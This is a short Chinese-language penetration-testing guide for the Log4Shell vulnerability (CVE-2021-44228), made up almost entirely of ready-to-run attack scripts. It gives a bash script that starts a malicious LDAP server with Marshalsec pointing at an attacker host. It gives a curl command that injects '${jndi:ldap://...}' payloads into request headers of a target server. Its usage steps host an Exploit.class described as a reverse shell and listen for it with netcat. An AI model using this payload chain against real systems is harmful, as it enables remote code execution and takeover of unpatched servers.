CVE-2021-44228-Log4Shell-

渗透测试

1. 创建恶意LDAP服务器（使用Marshalsec） #!/bin/bash

Script: start_ldap_server.sh

要求：安装Java和Marshalsec (https://github.com/mbechler/marshalsec)

LDAP_PORT="1389" HTTP_PORT="8000" ATTACKER_IP="192.168.0.101" REVERSE_PORT="5555"

echo "[+] 在端口 $LDAP_PORT 上启动恶意LDAP服务器..." java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://$ATTACKER_IP:$HTTP_PORT/#Exploit" $LDAP_PORT

2. 从被攻陷的Web服务器发送Log4Shell Payload

#!/bin/bash

Script: exploit_log4shell.sh

目标：向Windows目标机器发送JNDI payload

TARGET_IP="192.168.1.10" ATTACKER_IP="192.168.0.101" LDAP_PORT="1389"

echo "[+] 发送Log4Shell payload到 $TARGET_IP..." curl -X GET
"http://$TARGET_IP"
-H "User-Agent: ${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}"
-H "X-Api-Version: ${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}"

使用方法

启动LDAP服务器：

./start_ldap_server.sh

运行HTTP服务器以托管Exploit.class文件（包含反向shell）：

python3 -m http.server 8000

从被攻陷的Web服务器发送payload

./exploit_log4shell.sh

在攻击机上监听反向shell：

nc -lvnp 5555